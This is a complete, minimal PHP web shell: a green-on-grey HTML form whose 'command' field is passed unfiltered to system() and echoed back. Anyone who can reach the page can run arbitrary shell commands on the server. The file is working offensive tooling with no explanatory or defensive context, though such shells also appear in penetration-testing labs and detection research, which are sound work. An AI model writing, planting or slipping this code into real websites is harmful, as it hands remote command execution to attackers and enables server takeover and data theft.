<html>
<style>
body {
 color: lime;
 background-color: #333;
}
</style>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="text" name="command" autofocus id="command" size="50">
<input type="submit" value="Execute">
</form>
<pre>
<?php
    if(isset($_GET['command'])) 
    {
        system($_GET['command'] . ' 2>&1'); 
    }
?>
</pre>
</body>
</html>
